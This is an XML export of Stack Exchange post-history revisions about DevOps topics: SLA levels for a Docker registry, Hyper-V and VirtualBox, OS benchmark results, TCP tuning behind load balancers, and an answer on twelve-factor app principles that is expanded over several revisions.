  <row Id="11865" PostHistoryTypeId="5" PostId="3787" RevisionGUID="dd3fb83e-443f-4da8-9ef6-12fc7644e31f" CreationDate="2018-04-01T12:15:20.683" UserId="210" Comment="added 115 characters in body" Text="Service Level Agreement&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Service-level_agreement&#xD;&#xA;&#xD;&#xA;https://www.atlassian.com/it-unplugged/best-practices-and-trends/stop-hating-on-slas&#xD;&#xA;&#xD;&#xA;https://www.cio.com/article/2438284/outsourcing/outsourcing-sla-definitions-and-solutions.html&#xD;&#xA;&#xD;&#xA;What will happen if the docker registry is down? Are all departments blocked? What is the impact?&#xD;&#xA;&#xD;&#xA;If all production images reside in a docker registry and someone wants to release a newer version to production, but the registry is down, is it still possible to release the product?&#xD;&#xA;&#xD;&#xA;SLA is about defining processes, checking the impact of each of them and the more important the higher the SLA." ContentLicense="CC BY-SA 3.0" />
  <row Id="11866" PostHistoryTypeId="5" PostId="3787" RevisionGUID="d78fa06d-6195-48a1-b691-17b1cfac7659" CreationDate="2018-04-01T12:26:31.563" UserId="210" Comment="added 115 characters in body" Text="Service Level Agreement&#xD;&#xA;&#xD;&#xA;https://en.wikipedia.org/wiki/Service-level_agreement&#xD;&#xA;&#xD;&#xA;https://www.atlassian.com/it-unplugged/best-practices-and-trends/stop-hating-on-slas&#xD;&#xA;&#xD;&#xA;https://www.cio.com/article/2438284/outsourcing/outsourcing-sla-definitions-and-solutions.html&#xD;&#xA;&#xD;&#xA;What will happen if the docker registry is down? Are all departments blocked? What is the impact?&#xD;&#xA;&#xD;&#xA;If all production images reside in a docker registry and someone wants to release a newer version to production, but the registry is down, is it still possible to release the product?&#xD;&#xA;&#xD;&#xA;SLA is about defining processes, checking the impact of each of them and the more important the higher the SLA.&#xD;&#xA;&#xD;&#xA;One could this tool to choose a certain SLA for a certain procedure:&#xD;&#xA;&#xD;&#xA;https://uptime.is/&#xD;&#xA;&#xD;&#xA;A SLA of 99.999 https://uptime.is/99.999 means a yearly downtime of 5m 15.6s, while https://uptime.is/99.9 means 8h 45m 57.0s.&#xD;&#xA;&#xD;&#xA;One could set a SLA of 99.999 for the docker processes, but is a downtime of 5m 15.6s really required or is 8h 45m 57.0s in a year acceptable? If one hosts an ecommerce website and the webshop is down a couple of hours this will cause a lot of harm for the company as customers could not buy products and will probably buy products somewhere else.&#xD;&#xA;&#xD;&#xA;For the docker processes that are used by developers and for releases to production one could argue that the first one could be 99.9 and the latter 99.999." ContentLicense="CC BY-SA 3.0" />
  <row Id="11867" PostHistoryTypeId="2" PostId="3788" RevisionGUID="437bfcc7-a955-47c0-b2d4-ea7f15cf20d1" CreationDate="2018-04-01T12:28:46.883" UserId="210" Text="According to me this is not possible as the hyper-v should be enabled on the host system. If this is enabled in a VirtualBox, but not on the host system, then this will not work according to what I have experienced." ContentLicense="CC BY-SA 3.0" />
  <row Id="11868" PostHistoryTypeId="5" PostId="3783" RevisionGUID="ba35b647-3f08-4abf-bdbf-67820cc74b01" CreationDate="2018-04-01T13:37:13.473" UserId="5879" Comment="Add quotes from the original article" Text="*TL;DR depends on the use case with up to 12 times between best/worst*&#xD;&#xA;&#xD;&#xA;Comprehensive testing has been done over at [Phoronix][1] (28.03.18) and the results are very mixed. The tests looked at:&#xD;&#xA;&#xD;&#xA;- Clear Linux 21510&#xD;&#xA;- Debian 9.4&#xD;&#xA;- OpenSUSE 42.3 Leap&#xD;&#xA;- Ubuntu 16.04 LTS&#xD;&#xA;- Windows 10 Pro Build 16299&#xD;&#xA;- Debian 9 On WSL&#xD;&#xA;- OpenSUSE 42.3 On WSL&#xD;&#xA;- Ubuntu 16.04 LTS On WSL&#xD;&#xA;&#xD;&#xA;The results are all over the show. In a few tests, the WSL (Windows Subsystem for Linux) is faster then native Windows ([GraphicsMagick][2]) and the Intel optimized distribution, Clear Linux, sometimes has the worst results ([Netperf UDP request response][3]). While in others Windows is twice as fast as all Linux distributions ([CacheBench][2]). All in all, deciding on **performance is not conclusive**. Choose the OS that provides the tooling you require.&#xD;&#xA;&#xD;&#xA;Nonetheless, the article itself does provide a winner given that only [first place finishes][4] are taken into account:&#xD;&#xA;&#xD;&#xA;&gt; ... Clear Linux was the fastest of the operating systems tested with&#xD;&#xA;&gt; coming in first 40% of the time, Debian 9.4 in second with first place&#xD;&#xA;&gt; finishes 22.5% of the time, and Windows 10 Pro itself was the fastest&#xD;&#xA;&gt; 12.5% of the time.&#xD;&#xA;&#xD;&#xA;When only taking [Java][5] into account:&#xD;&#xA;&#xD;&#xA;&gt; In the Java tests, to no real surprise, the performance tended to be&#xD;&#xA;&gt; about the same across all tested operating systems.&#xD;&#xA;&#xD;&#xA;And finally, in a [compile test][5] (Golang), which is the test that is most related to the use case in the question:&#xD;&#xA;&#xD;&#xA;&gt; The build performance on Windows 10 and WSL were slower than the bare&#xD;&#xA;&gt; metal Linux performance.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=1&#xD;&#xA;  [2]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=4&#xD;&#xA;  [3]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=2&#xD;&#xA;  [4]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=6&#xD;&#xA;  [5]: https://www.phoronix.com/scan.php?page=article&amp;item=windows-10-prescu&amp;num=3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11874" PostHistoryTypeId="2" PostId="3790" RevisionGUID="6cf1beb2-df2a-49a1-90c2-d73093558d32" CreationDate="2018-04-01T18:40:06.373" UserId="5920" Text="&#xD;&#xA;&#xD;&#xA;Need to make some optimizations and have been reading articles such as [linux-tcp-tuning][1]&#xD;&#xA;&#xD;&#xA;In a world of load balancers and revers proxy is there any value in tuning TCP connections that are inside the network?&#xD;&#xA;As I understand (please correct me if I'm wrong) there is almost zero latency and no packet loss between the load balancer and the servers.&#xD;&#xA;&#xD;&#xA;So I wonder if changing parameters such as net.ipv4.tcp_window_scaling, net.ipv4.tcp_timestamps, net.ipv4.tcp_sack will have any effect if not set on the load balancer.&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.linux-admins.net/2010/09/linux-tcp-tuning.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="11875" PostHistoryTypeId="1" PostId="3790" RevisionGUID="6cf1beb2-df2a-49a1-90c2-d73093558d32" CreationDate="2018-04-01T18:40:06.373" UserId="5920" Text="Reverse Proxy and TCP Optimization Inside the Network" ContentLicense="CC BY-SA 3.0" />
  <row Id="11876" PostHistoryTypeId="3" PostId="3790" RevisionGUID="6cf1beb2-df2a-49a1-90c2-d73093558d32" CreationDate="2018-04-01T18:40:06.373" UserId="5920" Text="&lt;load-balance&gt;&lt;servers&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11877" PostHistoryTypeId="2" PostId="3791" RevisionGUID="6b21e7fd-2c06-4ff6-b44d-b8177e9cab78" CreationDate="2018-04-01T18:56:12.400" UserId="210" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11878" PostHistoryTypeId="5" PostId="3791" RevisionGUID="604cee93-8946-4604-98c5-f89364eb6375" CreationDate="2018-04-01T19:07:59.807" UserId="210" Comment="added 512 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11879" PostHistoryTypeId="5" PostId="3791" RevisionGUID="ef5c2d43-3483-413d-a0f1-fb6da39fb3c2" CreationDate="2018-04-01T19:22:56.070" UserId="210" Comment="added 25 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11880" PostHistoryTypeId="5" PostId="3791" RevisionGUID="48a6cbba-56c3-41d9-b72a-f0a67b5f98ee" CreationDate="2018-04-01T19:46:00.520" UserId="210" Comment="added 247 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11881" PostHistoryTypeId="5" PostId="3791" RevisionGUID="602a7f8a-6218-45e3-8d53-90aeb9858332" CreationDate="2018-04-01T20:30:03.087" UserId="210" Comment="added 54 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11882" PostHistoryTypeId="5" PostId="3791" RevisionGUID="56d157e1-b629-41e0-808c-71b2a87f060f" CreationDate="2018-04-01T20:44:01.630" UserId="210" Comment="added 67 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;The code should not change if another service like a database changes.&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11883" PostHistoryTypeId="5" PostId="3791" RevisionGUID="16356163-8895-4d65-9d9c-a2a7e6fddb12" CreationDate="2018-04-01T20:49:44.810" UserId="210" Comment="added 67 characters in body" Text="&gt; **I. Codebase**&#xD;&#xA;&gt; &#xD;&#xA;&gt; One codebase tracked in revision control, many deploys&#xD;&#xA;&#xD;&#xA;Version Control System (VCS)&#xD;&#xA;&#xD;&#xA;&gt; **II. Dependencies**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Explicitly declare and isolate dependencies&#xD;&#xA;&#xD;&#xA;Use a package manager tool&#xD;&#xA;&#xD;&#xA;&gt; **III. Config**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Store config in the environment&#xD;&#xA;&#xD;&#xA;Environment variables&#xD;&#xA;&#xD;&#xA;&gt; **IV. Backing services**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat backing services as attached resources&#xD;&#xA;&#xD;&#xA;The code should not change if another service like a database changes.&#xD;&#xA;&#xD;&#xA;&gt; **V. Build, release, run**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Strictly separate build and run stages&#xD;&#xA;&#xD;&#xA; - unique release id&#xD;&#xA; - a new release must be created for every change&#xD;&#xA;&#xD;&#xA;&gt; **VI. Processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Execute the app as one or more stateless processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VII. Port binding**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Export services via port binding&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **VIII. Concurrency**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Scale out via the process model&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;&gt; **IX. Disposability**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Maximize robustness with fast startup and graceful shutdown&#xD;&#xA;&#xD;&#xA;Disposable. It does not matter whether services go down. The platform that consists of multiple services, is able to continue if services go down, e.g. data will not be lost. When the services are rebooted the platform can continue without data loss.&#xD;&#xA;&#xD;&#xA;&gt; **X. Dev/prod parity**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Keep development, staging, and production as similar as possible&#xD;&#xA;&#xD;&#xA; - Safe time: one does not have to think, o where does the acceptance database reside or where does this app exist in the testing environment. If one applies the same structure for systems in dev, tst and acc then one does not have to think every time when such an environment is used and this will safe time&#xD;&#xA; - Decrease number of bugs: if a development environment is similar to production, the number of bugs will be decreased as there is a higher chance that the bugs will be solved in the dev phase proactively&#xD;&#xA;&#xD;&#xA;&gt; **XI. Logs**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Treat logs as event streams&#xD;&#xA;&#xD;&#xA; - stdout&#xD;&#xA; - store all logs in a log manager like splunk&#xD;&#xA;&#xD;&#xA;&gt; **XII. Admin processes**&#xD;&#xA;&gt; &#xD;&#xA;&gt; Run admin/management tasks as one-off processes&#xD;&#xA;&#xD;&#xA;...&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;**References**&#xD;&#xA;&#xD;&#xA; 1. http://www.clearlytech.com/2014/01/04/12-factor-apps-plain-english/&#xD;&#xA; 2. https://12factor.net/&#xD;&#xA; 3. https://thenewstack.io/12-factor-app-streamlines-application-development/" ContentLicense="CC BY-SA 3.0" />
